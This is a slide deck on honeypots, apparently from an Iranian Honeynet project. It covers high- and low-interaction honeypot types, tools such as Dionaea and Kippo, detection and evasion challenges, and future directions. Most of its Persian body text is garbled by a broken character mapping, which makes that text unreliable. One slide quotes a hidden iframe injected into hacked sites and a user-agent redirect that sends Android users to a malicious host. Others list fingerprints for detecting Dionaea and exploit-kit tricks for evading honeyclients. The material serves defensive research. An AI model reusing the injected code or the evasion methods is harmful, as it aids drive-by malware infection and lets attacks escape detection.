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 رئوس‏مطالب

 هقذهِ•
 اًَاع ّاًی پات•

–High-interaction  دس هقاتلLow-interaction 

 سشٍس دس هقاتل کلایٌت–

 ( Demo)دهـَ •
 چالص ّا•

 تکٌیک ّای کطف یا گشیض–
 حولات ٍ پلتفشم ّای جذیذ–
 سٍش ّای جذیذ پخص تذافضاس–

 آیٌذُ ی ّاًی پات ّا•
 هاًیتَسیٌگ هخفی–
 ...، VoIP ،IM ،IPv6 ،USB ،Virtualizationّاًی پات –
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INTRODUCTION 
Botnets and Cyber Security Threats 
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 تهذیذات‏سایبری

 نت‏بات‏تذافضاس،•

 ًت چشخِ حیات تات•
 ساصی فاص آلَدُ–

 Drive-by download حولِ•

 فاص گشدّوایی–

 C&Cپیذا کشدى سشٍس •

 فاص فشهاى ٍ کٌتشل–

 حولِفاص –
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 Drive-by downloadحملات‏

افضًَِ ّای سَء استفادُ اص آسیة پزیشی ّای هَجَد دس هشٍسگشّای ٍب، •
ٍ یا تشًاهِ ّای کاستشدی سوت کلایٌت ( Adobe Flashهاًٌذ )ًػة ضذُ 

 !داًلَد تذافضاس تذٍى اعلاع کاستشتشای ًفَر تِ سیستن ّذف ٍ 
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پات‏نیاز‏استفاده‏از‏هانی  

کاس   Signatureآًتی ٍیشٍس ّا ٍ سیستن ّای تطخیع ًفَر ػوَهاً تش اساس •
 (حولات ضٌاختِ ضذُ..! )هی کٌٌذ

 خغای تالای سٍضْای هثتٌی تش سفتاس–

آًالیض دقیق تذافضاسّا ٍ ساّی تشای جوغ آٍسی پات  ّاًیتا قثل اص اتذاع ایذُ •
 !ًذاضتّا ٍجَد  ًت تات

 :تشایپات  ّاًیاستفادُ اص •
کطف حولات جذیذ 
هغالؼِ سفتاس ٍ اتضاسّای ًفَرگشاى 
 ًت تاتجوغ آٍسی تذافضاس ٍ آًالیض 
... 
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HONEYPOT 
Use Honeypots to Know Your Enemies 
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 (Honeypot)پات‏‏هانی

 :اص ّاًی پات Honeynetتؼشیف تٌیاًگزاس پشٍطُ •
“A honeypot is a security resource whose value lies in being probed, 

attacked, or compromised.”   - Lance Spitzner 

 

 .یا فشیة دادى ًفَرگش هی تاضذ Deceptionاساس کاس ّاًی پات هثتٌی تش •
اص آًجا کِ ایي سیستن ّا ّیچ کاستشد ػولیاتی ًذاسًذ، ّش فؼالیتی کِ تش سٍی  •

آًْا اًجام ضَد ٍ یا ّش تشافیک ٍسٍدی ٍ خشٍجی اص آًْا  هی تَاًذ ًطاًِ حولِ 
 .تاضذ
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 کاربردهای‏هانی‏پات

 :تؼضی اص کاستشدّای ّاًی پات•
   ٍ 0کطف حولات جذیذ-day 
  هغالؼِ اتضاسّا، فؼالیت ّا ٍ اًگیضُ ًفَرگشاى 
  ًت جوغ آٍسی تذافضاس ٍ آًالیض تات 

   تْثَد سیستن ّای تطخیع ًفَر(IDS) 
   سشػت حولاتکاّص 

 

تِ عَس کلی اص ّاًی پات تشای هغالؼِ اتضاسّا، تاکتیک ّا ٍ اًگیضُ ّای دسگیش •
 .دس حولات کاهپیَتشی استفادُ هی ضَد
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 انواع‏هانی‏پات

 .ّاًی پات ّا سا اص جٌثِ ّای هختلفی هی تَاى دستِ تٌذی کشد•
 :اص ًظش سغح تؼاهل•

 هحیظ ٍاقؼی: High-Interactionّاًی پات –
 ضثیِ ساصی ضذُسیستن ػاهل، سشٍیس ٍ یا آسیة پزیشی : Low-Interactionّاًی پات –

 :اص ًظش حولات هَسد ًظش•
 کطف حولات سوت سشٍس: Serverّاًی پات سٌتی یا –

 (Drive-by downloadهؼوَلاً حولات )کطف حولات سوت کلایٌت : Clientّاًی پات –

 :اص ًظش کاستشد•
 (research)ّاًی پات تحقیقاتی –

 (production)ّاًی پات ػولیاتی –

 !ّاًی پات هجاصی دس هقاتل فیضیکی•
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 LIدر‏مقابل‏‏HIپات‏‏هانی

12 



Honeypots: Challenges and Future Directions 

پات‏کلاینت‏در‏مقابل‏سرور‏هانی  

13 

 Source: The Honeynet Project, www.honeynet.org 
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 انواع‏هانی‏پات

14 

 :سِ تفاٍت اغلی ّاًی پات کلایٌت تا سشٍس•
 .ضثیِ ساصی ًشم افضاس سوت کلایٌت، تِ جای ضثیِ ساصی سشٍیس–
تا سشٍس هَسد ًظش تؼاهل کٌذ   فؼالتش خلاف ّاًی پات سشٍس، ّاًی پات کلایٌت تایذ تِ غَست –

 .تا هَسد ًفَر قشاس گیشد
 دس ّاًی پات سشٍس توام فؼالیتْای ضٌاسایی ضذُ حولِ دس ًظش گشفتِ هی ضًَذ، اها دس –

 .ّاًی پات کلایٌت تایذ هکاًیضهی تشای تطخیع سشٍس ػادی اص سشٍس هخشب داضتِ تاضین
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High-Interaction هانی‏پات 

 :ّاًی ًت/ ًیاصهٌذی ّای اغلی یک ّاًی پات •
–Data Control : (دس غَست آلَدُ ضذى)جْت کاّص سیسک ٍ خغشات احتوالی ّاًی پات 
–Data Capture :هاًیتَسیٌگ ٍ لاگیٌگ توام فؼالیت ّای ًفَرگش 

–Data Analysis :ُآًالیض ٍ تثذیل دادُ ّای جوغ آٍسی ضذُ تِ اعلاػات قاتل استفاد 

–Data Collection :ُفقظ تشای پیادُ ساصی ّای تَصیغ ضذ 

•Honeywall:  سیستوی کِ تِ غَست یکbridging device  ِػول کشدُ ٍ سِ   2لای
 .ًیاصهٌذی اغلی جوغ آٍسی دادُ، کٌتشل ٍ آًالیض حولات سا فشاّن هی کٌذ

15 
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High-Interaction هانی‏پات 

•Honeywall  فقظ هی تَاًذ تشافیک ضثکِ ّاًی پات سا هاًیتَس کٌذ ٍ ّیچ
تغییشات فایل )اعلاػاتی دس هَسد فؼالیت ّای اًجام ضذُ تش سٍی ّاًی پات 

 .ًوی دّذ...( سیستن، پشاسس ّا، تشافیک سهض ضذُ ٍ 

تشای هاًیتَس کشدى فؼالیت ّای ًفَرگش دس ّاًی پات  Sebekاص هاطٍل کشًل •
 .استفادُ هی ضَد
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High-Interaction هانی‏پات 

 است High-Interaction، یک ّاًی پات کلایٌت Capture-HPCّاًی پات •
یا ّش )کِ تِ غَست فؼال تِ دًثال سشٍسّایی هی گشدد کِ تِ هشٍسگشّای ٍب 

 .حولِ هی کٌٌذ( کاستشد سوت کلایٌت دیگش

، هاطٍل ّای کشًل توام سخذادّای هشتَط تِ هشٍسگش URLتؼذ اص تاصدیذ اص یک •
 ٍب سا ثثت کشدُ ٍ دس غَست

 ، تwhitelistِػـذم تغاتق تا 
capture server   گـــضاسش 

 .هی کٌذ
 تش اساس تغییشات غیشهجاص فایل•

 ...سیستن، سجیستشی، پشاسسْا، 
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High-Interaction هانی‏پات 

ّای  پات ؛ سٍیکشد جذیذی دس کلایٌت ّاًی(MCEDPیا ) PwnyPotپات  ّاًی•
High-Interaction. 

 (Betaفاص )ًت ایشاى تَسؼِ دادُ ضذُ؛  تَسظ پشٍطُ ّاًی–

کِ هخشب تَدى سشٍس سا تش اساس تغییش ٍضؼیت  Capture-HPCتش خلاف –
پات ها  ٍ آلَدُ ضذى سیستن تطخیع هیذّذ، ّاًی URLسیستن، تؼذ اص تاصدیذ 

هخشب تَدى سشٍس سا تطخیع  ( فاص آلَدُ ساصی)دس صهاى اجشای کذ اکسپلَیت 
 .دّذ هی

 :اعلاػات تیطتش دس هَسد ایي پشٍطُ سا دس ٍب سایت ها هطاّذُ کٌیذ–
http://www.irhoneynet.org/?page_id=116 
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Low-Interaction هانی‏پات 

قاتلیت ضثیِ ساصی ضثکِ، ّضاساى هیضتاى هجاصی تا  Honeydّاًی پات •
ٍ ضثیِ ( تا استفادُ اص اسکشیپت ّای سادُ)پیکشتٌذی سشٍیس ّای دلخَاُ 

 .سا فشاّن هی کٌذ TCP/IPساصی سیستن ػاهل آًْا دس سغح پطتِ 
 تا ضــثیِ سـاصی Nepenthesّاًـی پات •

 آسیة پزیشیْای ضٌاختِ ضذُ، تذافضاسّایی
 -کِ سؼی دس اکسپلَیت کشدى ایي آسیة 

 .پزیشی ّا داسًذ سا داًلَد هی کٌذ

 ، اص هاضیي ّای حالتDionaeaّاًی پات •
 استاتیک تشای ضـثیِ ساصی سـشٍیس ّای

 .آسیة پزیش استفادُ هی کٌذ
 SMB ،SIP ،MSSQL ،MySQL، FTP ،HTTP: تؼضی اص پشٍتکلْای ضثیِ ساصی ضذُ

19 
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Low-Interaction هانی‏پات 

-Lowکِ آى سا اص دیگش ّاًی پات ّای  Dionaeaتؼضی اص قاتلیت ّای •

Interaction هتوایض کشدُ است: 
، pattern matchingتش خلاف سٍش : shellcodeتشای کطف  Libemuاستفادُ اص –

 .ّای جذیذ ٍ ًاضٌاختِ سا داسدshellcode قاتلیت کطف 
، تِ جای ضثیِ (تِ ػٌَاى پشٍتکل اغلی SMBسشٍیس )ضثیِ ساصی پشٍتکل –

 ساصی آسیة پزیشی
 IPv6پطتیثاًی اص –
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Low-Interaction هانی‏پات 

 :دیگش Low-Interactionّاًی پات ّای •
–Amun : پَست ضذُ ی ّاًی پاتNepenthes تِ پایتَى 

–Mwcollect : ضاهل قاتلیت ّای خَبNepenthes  +Honeytrap 

–Glastopf :هخػَظ حولات کاستشدّای تحت ٍب 
–Kippo :ّاًی پات SSH تؼذادی اص دستَسات خظ فشهاى+ ؛ یک فایل سیستن جؼلی 
–PhoneyCّاًی پات کلایٌت؛ استفادُ اص هاطٍل ّای آسیة پزیشی ٍ :‏AV تشای کطف 

–HoneyC:کلایٌتّاًی پات ‏‏ 

–Honeytrap 

–SMTP-HPّاًی پات :‏smtp 

 PhoneyCهؼواسی ّاًی پات  21
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Low-Interaction هانی‏پات 

22 

Schematic Overview of HoneyC  
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Low-Interaction هانی‏پات 

23 

Schematic setup of Amun 
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DEMO 
Kippo, Dionaea, Amun, Honeyd 
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CHALLENGES 
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 چالش‏ها

 (Evasion/Detection)تکٌیک ّای کطف یا گشیض اص ّاًی پات •
 حولات ٍ پلتفشم ّای جذیذ•

 پلتفشم ّای هَتایل ٍ تِ خػَظ تذافضاسّای اًذسٍیذ–

 IPv6گستشش حولات ٍ تذافضاسّای –
 پلتفشم ّای هجاصی ساصی–
 تذافضاسّای تجْیضات ضثکِ–

 VoIPحولات –

 SCADA  /ICSحولات –

 حولات ّذفوٌذ–
 سٍش ّای پخص تذافضاس–

 USBتجْیضات •

 (IM)سیستن ّای پیام سساى •

 !دادُ ّای صیاد•
26 
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 .Low-Intکشف‏هانی‏پات‏

تکٌیک ّای کطف ٍ جلَگیشی اص کطف یکی اص چالص ّای اغلی دس تسیاسی  •
 .اص سیستن ّای اهٌیتی هی تاضذ

عثیؼتاً ّش چِ سغح تؼاهل فشاّن ضذُ تَسظ ّاًی پات تیطتش ٍ سشٍیس ّای •
 .اسائِ ضذُ ٍاقؼی تش تاضٌذ، کطف آًْا ًیض هطکل تش خَاّذ کشد

 

 سٍضْای Honeydدس ّاًی پات قذیوی •
  Packetکطـف هخـتلفی هاًٌذ هطکل 

Fragment Reassembly ّــوچٌیي ٍ 
 فلگ  2کِ ّش  TCPپاسخ تِ تستِ ّای 

SYN  ٍRST  آًْاset ضذُ تاضذ، ٍجـَد 
 .داضت

27 
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 .Low-Int‏کشف‏هانی‏پات

 Dionaea*کطف ّاًی پات •
 :SMBسشٍیس –

 (HOMEUSER-3AF6FE)ضذُ دس ًشم افضاس  NetBIOS ،hardcodeتا استفادُ اص ًام •
•Time/Date سیستن دس عَل صهاى ثاتت است ٍ تِ سٍص سساًی ًوی ضَد. 

–SSL (استفادُ ضذُ تَسظ سشٍیسْای HTTPS  ٍSIP-TLS:) 
 :تا استفادُ اص اعلاػات گَاّی دیجیتال استفادُ ضذُ دس سشٍیس ّای هزکَس•

commonName=Nepenthes Development Team 

organizationName=dionaea.carnivore.it 
countryName=DE 

 :MySQLسشٍیس –
 .تا استفادُ اص پاسخ ّای دسیافتی اص ایي سشٍیس•

 
 .پیادُ ساصی ضذُ است Nmapاسائِ ٍ تشای استفادُ دس قالة اسکشیپت  2012ایي سٍضْا دس آپشیل  *
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 .High-Intکشف‏هانی‏پات‏

ػوَهاً تِ غَست هجاصی پیادُ ساصی  .High-Intاص آًجا کِ ّاًی پات ّای •
 .است VMهیطًَذ، یکی اص ساُ ّای گشیض اص آًْا استفادُ اص سٍش ّای کطف 

، استفادُ اص ایي سٍضْا desktopتا گستشش استفادُ اص تکٌَلَطی ّای هجاصی ساصی سشٍس ٍ –
 !دیگش هؼقَل ًوی تاضذ

 Sebekکطف •

29 
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 HoneyClientگریس‏از‏

قاتلیت ضذ   2012دس آپشیل : دس ّاًی پات ّای کلایٌت crawlingگشیض اص  •
HoneyClient  جذیذی دس اکسپلَیت کیتNuclear Pack کطف ضذ. 

سا تحت  mouseایي اکسپلَیت کیت تا استفادُ اص کذ جاٍا اسکشیپتی فؼالیت •
، فؼالیتْای onmousemoveًظش هی گیشد ٍ دس غَست ػذم هطاّذُ سخذاد 

 !هخشتص سا آغاص ًوی کٌذ
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 HoneyClientگریس‏از‏

  HoneyClientتؼضی اص تکٌیک ّای دیگش کِ تَسظ ًفَرگشاى جْت گشیض اص •
 :*استفادُ ضذُ است

 HTTP Referrersاستفادُ اص –

 استفادُ اص کَکی ّای هشتَط تِ ًطست–

 هشٍسگش ٍب/ سیستن ػاهل  fingerprintingاستفادُ اص تکٌیک ّای –

 !IPسشٍ کشدى هحتَای هخشب، فقظ یک تاس تشای ّش آدسس –
 اهٌیتیضٌاختِ ضذُ هشتَط تِ ضشکت ّای  IPتلاک کشدى آدسسْای –

 
 
 
 

 
 
 
 
 

 http://www.zdnet.com/blog/security/nuclear-pack-exploit-kit-introduces-anti-honeyclient-crawling-feature/11538 :  هٌثغ  *
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 HoneyClient‏گریس‏از

 :High-Interactionکطف ّاًی پات کلایٌت •
 .کذ حولِ هی تَاًذ ٍجَد سیستن هاًیتَسیٌگ سا کطف کٌذ ٍ فقظ فؼالیت ّای هجاص اًجام دّذ–
 .کذ حولِ هی تَاًذ تِ غَستی اجشا ضَد کِ اص کطف ضذى جلَگیشی کٌذ–

 
 
 
 
 
 
 
 
 

 "Alexandros Kapravelos, "Escape from Monkey Island: Evading High-Interaction Honeyclients:  هٌثغ  *
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FUTURE DIRECTIONS 
The Future of Honeypots 
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 مانیتورینگ‏مخفی

ّواًغَس کِ دس قسوت چالطْا هغشح ضذ، یکی اص سٍضْای گشیض اص ّاًی پات، •
 (..High-Intدس ّاًی پات ّای )کطف سیستن هاًیتَسیٌگ هی تاضذ 

یکی اص ساُ ّای هخفی کشدى هاًیتَسیٌگ، استفادُ اص تکٌیک هجاصی ساصی •
VM Introspection هی تاضذ. 

 .تیطتش استفادُ خَاّذ ضذ .High-Intدس آیٌذُ ایي تکٌیک دس ّاًی پات ّای •

34 
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 مانیتورینگ‏مخفی

، اٍلیي اتضاس هتي تاص است کِ اص ایي Qebek (Qemu-based Sebek)اتضاس •
 .تکٌیک تشای هخفی ساصی لایِ هاًیتَسیٌگ استفادُ کشدُ است

 :دس پیادُ ساصی ایي اتضاس اص دٍ تکٌیک اغلی استفادُ ضذُ است•
–Virtual machine introspection (VMI) 

–System view reconstruction (SVR) 

 :Honeynet Projectًَضتِ ضذُ تَسظ  KYTاعلاػات تیطتش دس هقالِ •
–”Conceal the Monitoring - Qebek“ (http://honeynet.org/papers/KYT_qebek) 

35 
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 پشتیبانی‏از‏حملات‏و‏پلتفرم‏های‏جذیذ

تا تَجِ تِ افضایص چطوگیش حولات ٍ تذافضاسّای هَتایل، ًیاص ایجاد اتضاسّای •
جذیذ تشای جوغ آٍسی تذافضاسّای ایي پلتفشم ٍ ّوچٌیي ایجاد ّاًی پات 

 .هَتایل احساس هی ضَد
 (Honeynet Projectتَسظ )اتضاسّای تَسؼِ دادُ ضذُ تشای آًالیض تذافضاسّای هَتایل •

–APKinspector :پلتفشم آًالیض استاتیک تشای تشًاهِ ّای اًذسٍیذ 
–Droidbox : اًذسٍیذتشًاهِ ّای دایٌاهیک تشای پلتفشم آًالیض 
  Android Reverse Engineering (A.R.E.)هاضیي هجاصی–
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 پشتیبانی‏از‏حملات‏و‏پلتفرم‏های‏جذیذ

 تش سٍی پلتفشم ّای هَتایل Drive-by downloadپیذایص حولات •
–HoneyClient؟ّای هخػَظ هَتایل! 

اًذسٍیذ کِ اص عشیق ٍب سایتِ ّک ضذُ، کاستشاى  drive-by download malwareاٍلیي –
 :گضاسش ضذ May 2, 2012اًذسٍیذ سا هَسد ّذف قشاس هی دّذ دس 

 
• Hacked websites commonly have the following code inserted into the bottom of each page: 

 

<iframe style="visibility: hidden; display: none; display: none;" src="hxxp://gaoanalitics.info/?id={1234567890-0000-DEAD-
BEEF-133713371337}"></iframe> 

• When a PC-based web browser accesses the site in question, it returns a “not found” error. 
When a browser with the word “Android” in its user-agent header accesses the site, however, 
the following is returned: 
 

<html><head></head><body><script type="text/javascript">window.top.location.href = 
"hxxp://androidonlinefix.info/fix1.php";</script></body></html> 
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 پشتیبانی‏از‏حملات‏و‏پلتفرم‏های‏جذیذ

ٍ ّوچٌیي افضایص تذافضاسّایی کِ اص ایي پشٍتکل  IPv6گستشش پیادُ ساصی •
سا تیص اص   IPv6استفادُ هی کٌٌذ، ًیاص ایجاد ّاًی پاتی تشای کطف حولات 

 .پیص کشدُ

 .پطتیثاًی هی کٌذ IPv6اص  Dionaeaدس حال حاضش، فقظ ّاًی پات •
تشای هغالؼِ تْتش . سضذ صیادی داضتِ است VoIPدس چٌذ سال اخیش، حولات •

ایي حولات ٍ اعلاع اص اتضاسّا ٍ اًگیضُ ّای دخیل دس ایي حولات ًیاص تِ 
 .هی تاضذ VoIPاستفادُ اص ّاًی پات ّای 

 Dionaeaدس ّاًی پات  SIPهاطٍل –
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 پشتیبانی‏از‏حملات‏و‏پلتفرم‏های‏جذیذ

تِ خػَظ دس سایاًص )فشاگیش ضذى استفادُ اص تکٌَلَطی ّای هجاصی ساصی •
ٍ تَجِ تِ ایٌکِ آسیة پزیشی ّا ٍ حولات تسیاسی تشای ایي پلتفشم ّا ( اتشی

 !ٍجَد داسد، هی تَاًذ ایذُ ّاًی پات ّای هجاصی ساصی سا ػولی کٌذ
هاًٌذ )ّاًی پات ّایی تشای کطف حولات هختع سیستن ّای هجاصی ساصی –

 (.VM Escapeحولات 
 !تجْیضات ضثکِ ًیض اص خغش حولات دس اهاى ًیستٌذ•

کِ تِ تجْیضات ضثکِ هاًٌذ  -Psyb0tهاًٌذ -اخیشاً ًوًَِ ای اص تات ّایی •
 .  حولِ هی کٌٌذ کطف ضذُ است ADSLهَدم ّای / سٍتشّا 

 ؟!ّاًی پات تجْیشات ضثکِ–
–OpenWrt؟ 
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 پشتیبانی‏از‏حملات‏و‏پلتفرم‏های‏جذیذ

 ّاًی پات سٍتش•
 ...تشای کطف حولات پشٍتکل ّای هسیشیاتی ٍ –

 RDPّاًی پات •

 MS12-020آسیة پزیشی –

 Mortoتذافضاس –
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 هؼواسی پیطٌْادی ّاًی پات سٍتش دس یک هقالِ

 (Mortoحولِ تذافضاس )ها  RDPفؼالیت ّای هطاّذُ ضذُ دس ّاًی پات 
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 پشتیبانی‏از‏حملات‏و‏پلتفرم‏های‏جذیذ

 ّاًی پات تلَتَث•
–Bluepot : تشای قثَل ٍ رخیشُ تذافضاسّایی کِ اص عشیق حولات تلَتَث هاًٌذBlueBugging  ٍ

BlueSnarfing هٌتطش هی ضًَذ. 
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 پشتیبانی‏از‏حملات‏و‏پلتفرم‏های‏جذیذ

ّاًی پات ّای سٌتی فقظ هی تَاًستٌذ تذافضاسّایی کِ اص عشیق سشٍیس ّای •
 .ضثکِ پخص هی ضًَذ سا کطف کٌٌذ

تا ایجاد ّاًی پات ّای کلایٌت، قاتلیت کطف تذافضاسّایی کِ تا سَءاستفادُ اص •
 .آسیة پزیشی ّای سوت کلایٌت پخص هی ضذًذ ًیض ایجاد ضذ

حال ًیاص تِ ایجاد ّاًی پاتی هی تاضذ کِ قاتلیت کطف تذافضاسّای خاظ کِ •
 .پخص هی ضًَذ سا ًیض فشاّن کٌذ( USBهاًٌذ )اص ساُ ّایی غیش اص ضثکِ 

–Stuxnet 

 (اسائِ ضذ Honeynet Project 2012ًوًَِ ای اص ایي ّاًی پات دس کٌفشاًس ) USBّاًی پات –
–Ghost USB Honeypot 

 IMّاًی پات •
–IMپشٍطُ : پات ّاًیGSoC  اًجام ضذُ تَسظHoneynet Project ( دس فاص تستbeta) 
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 حملات‏هذفمنذ

•Shadow Honeypot 
–http://ics.forth.gr/dcs/Activities/papers/replay.pdf 
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 جمع‏بنذی

ّاًی پات یکی اص اتضاسّای اغلی هحققاى اهٌیتی تشای کطف ٍ هغالؼِ حولات •
 .جذیذ هی تاضذ

 -ظَْس حولات ٍ تکٌیک ّای جذیذ، هحققاى سا ًیاصهٌذ استفادُ اص ّاًی پات•
 .ّای جذیذ ٍ گستشش قاتلیت ّای ایي اتضاسّا کشدُ است

ًفَرگشاى تشای جلَگیشی اص کطف ضذى حولات ٍ تذافضاسّایطاى، تِ دًثال •
 .استفادُ اص تکٌیک ّایی تشای گشیض اص ّاًی پات ّا هی تاضٌذ
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